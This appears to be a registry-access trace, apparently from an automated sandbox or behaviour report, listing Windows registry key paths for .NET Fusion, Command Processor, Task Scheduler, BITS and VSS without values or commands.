HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\ILDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\NIDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\MissingDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\Modules HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\SIG HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\LastModTime HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\mscorlib,2.0.0.0,,b77a5c561934e089,x86 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\Latest HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\index23 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\LegacyPolicyTimeStamp HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\ConfigMask HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\ConfigString HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\MVID HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\EvalationData HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\ILDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\NIDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\MissingDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\Modules HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\SIG HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\LastModTime HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\Modules HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\SIG HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\LastModTime HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\Modules HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\SIG HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\LastModTime HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\Modules HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\SIG HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\LastModTime HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\Modules HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\SIG HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\LastModTime HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\Modules HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\SIG HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\LastModTime HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\Modules HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\SIG HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\LastModTime HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\ConfigMask HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\ConfigString HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\MVID HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\EvalationData HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\ILDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\NIDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\MissingDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\Modules HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\SIG HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\LastModTime HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\ConfigMask HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\ConfigString HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\MVID HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\EvalationData HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\ILDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\NIDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\MissingDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\Modules HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\SIG HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\LastModTime HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Windows.Forms,2.0.0.0,,b77a5c561934e089,MSIL HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Drawing,2.0.0.0,,b03f5f7f11d50a3a,MSIL HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System,2.0.0.0,,b77a5c561934e089,MSIL HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Xml,2.0.0.0,,b77a5c561934e089,MSIL HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Configuration,2.0.0.0,,b03f5f7f11d50a3a,MSIL HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Deployment,2.0.0.0,,b03f5f7f11d50a3a,MSIL HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Runtime.Serialization.Formatters.Soap,2.0.0.0,,b03f5f7f11d50a3a,MSIL HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\Accessibility,2.0.0.0,,b03f5f7f11d50a3a,MSIL HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Security,2.0.0.0,,b03f5f7f11d50a3a,MSIL HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\Windows Error Reporting\WMR\Disable HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\GRE_Initialize\DisableMetaFiles HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Command Processor\DisableUNCCheck HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Command Processor\EnableExtensions HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Command Processor\DelayedExpansion HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Command Processor\DefaultColor HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Command Processor\CompletionChar HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Command Processor\PathCompletionChar HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Command Processor\AutoRun HKEY_CURRENT_USER\Software\Microsoft\Command Processor\DisableUNCCheck HKEY_CURRENT_USER\Software\Microsoft\Command Processor\EnableExtensions HKEY_CURRENT_USER\Software\Microsoft\Command Processor\DelayedExpansion HKEY_CURRENT_USER\Software\Microsoft\Command Processor\DefaultColor HKEY_CURRENT_USER\Software\Microsoft\Command Processor\CompletionChar HKEY_CURRENT_USER\Software\Microsoft\Command Processor\PathCompletionChar HKEY_CURRENT_USER\Software\Microsoft\Command Processor\AutoRun HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\it-IT HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\it-IT HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Locale\00000410 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Language Groups\1 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\CEIPEnable HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Adobe Flash Player Updater\Id HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\LocaleName HKEY_USERS\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Cache HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\SchedulingEngineKnob HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{42EF5567-14D0-45CC-8A3E-B4114DF78E91}\Hash HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{42EF5567-14D0-45CC-8A3E-B4114DF78E91}\DynamicInfo HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\{a7a85eba-a2d1-41ec-a656-ba2c9221e354} HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Update\Update\Id HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{42EF5567-14D0-45CC-8A3E-B4114DF78E91}\Triggers HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Update\Update\Index HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\iphlpsvc\Parameters\ServiceDllUnloadOnStop HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{D1266DD9-924E-4395-B18B-80FD552F9E14}\Hash HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{D1266DD9-924E-4395-B18B-80FD552F9E14}\DynamicInfo HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\LastServiceStart HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{0000000C-0000-0000-C000-000000000046}\ProxyStubClsid32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{D1266DD9-924E-4395-B18B-80FD552F9E14}\Triggers HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{B7B31DF9-D515-11D3-A11C-00105A1F515A}\ProxyStubClsid32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Server\MarshaledProxy HKEY_LOCAL_MACHINE\SYSTEM\Setup\SystemSetupInProgress HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Winmgmt\Parameters\ServiceDllUnloadOnStop HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{C20260E6-0B72-4836-A956-B7481C696DAC}\Hash HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{C20260E6-0B72-4836-A956-B7481C696DAC}\DynamicInfo HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{C20260E6-0B72-4836-A956-B7481C696DAC}\Triggers HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{94AA3293-B515-4FA7-A36B-3CFA64BA5BE3}\Hash HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{94AA3293-B515-4FA7-A36B-3CFA64BA5BE3}\DynamicInfo HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Handshake\{513494DA-44B6-4567-B247-8E8A881C4619}\data HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{92BDB7E4-F28B-46A0-B551-45A52BDD5125}\ProxyStubClsid32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{92BDB7E4-F28B-46A0-B551-45A52BDD5125}\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{92BDB7E4-F28B-46A0-B551-45A52BDD5125}\InprocServer32\InprocServer32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{92BDB7E4-F28B-46A0-B551-45A52BDD5125}\InprocServer32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{92BDB7E4-F28B-46A0-B551-45A52BDD5125}\InprocServer32\ThreadingModel HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\CompatibilityAdapter\Signatures\Adobe Flash Player Updater.job HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\CompatibilityAdapter\Signatures\Adobe Flash Player Updater.job.fp HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{34F74514-1B21-45C2-94F4-2501B6B1F05B}\Hash HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{34F74514-1B21-45C2-94F4-2501B6B1F05B}\DynamicInfo HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{34F74514-1B21-45C2-94F4-2501B6B1F05B}\Triggers HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{63D65EA2-89AD-42FC-B17F-C410099FA803}\Hash HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{63D65EA2-89AD-42FC-B17F-C410099FA803}\DynamicInfo HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{63D65EA2-89AD-42FC-B17F-C410099FA803}\Triggers HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{3B0C106E-E557-4BED-86CF-6B54F8BB1F20}\Hash HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{3B0C106E-E557-4BED-86CF-6B54F8BB1F20}\DynamicInfo HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{3B0C106E-E557-4BED-86CF-6B54F8BB1F20}\Triggers HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{10F1A110-2A40-4EA0-A72E-CD7B93E93B5E}\Hash HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{10F1A110-2A40-4EA0-A72E-CD7B93E93B5E}\DynamicInfo HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{10F1A110-2A40-4EA0-A72E-CD7B93E93B5E}\Triggers HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\WDI\ResolutionHost\Id HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{9435F817-FED2-454E-88CD-7F78FDA62C48}\Hash HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{9435F817-FED2-454E-88CD-7F78FDA62C48}\Triggers HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{C0FD1BEB-1BF6-45A3-94D8-6E0C5DBB93D9}\Hash HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{C0FD1BEB-1BF6-45A3-94D8-6E0C5DBB93D9}\DynamicInfo HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{C0FD1BEB-1BF6-45A3-94D8-6E0C5DBB93D9}\Triggers HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{6369BE4A-3833-4DFB-8D48-ADFD389F29A7}\Hash HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{6369BE4A-3833-4DFB-8D48-ADFD389F29A7}\DynamicInfo HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{6369BE4A-3833-4DFB-8D48-ADFD389F29A7}\Triggers HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\Parameters\ServiceDll HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\Parameters\ServiceManifest HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\Parameters\ServiceMain HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\LogFileSize HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\LogFileFlags HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\LogFileMinMemory HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\Performance\First Counter HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\Performance\First Help HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\Performance\Last Counter HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\Performance\Last Help HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\BackupRestore\FilesNotToBackup\BITS_metadata HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\JobInactivityTimeout HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\TimeQuantaLength HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\JobNoProgressTimeout HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\JobMinimumRetryDelay HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\TransferBufferSize HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\SleepAtCallbackBegin HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\SleepAtCallbackEnd HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\SleepAtCallbackDuration HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\TestFlags HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\ForceFileFlush HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\UseLmCompat HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\IGDSearcherDLL HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{B0C32C86-F054-4CC3-8884-E57AA9DA7B69}\Hash HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{B0C32C86-F054-4CC3-8884-E57AA9DA7B69}\DynamicInfo HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\StatefileChunk HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\StatefileWriteBuffer HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\StateIndex HKEY_LOCAL_MACHINE\SYSTEM\Setup\UpgradeInProgress HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VSS\Settings\ActiveWriterStateTimeout HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VSS\Diag\(Default) HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VSS\Settings\TornComponentsMax HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{659CDEA7-489E-11D9-A9CD-000D56965251}\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{03CA98D6-FF5D-49B8-ABC6-03DD84127020}\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{6D18AD12-BDE3-4393-B311-099C346E6DF9}\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{F087771F-D74F-4C1A-BB8A-E16ACA9124EA}\(Default) 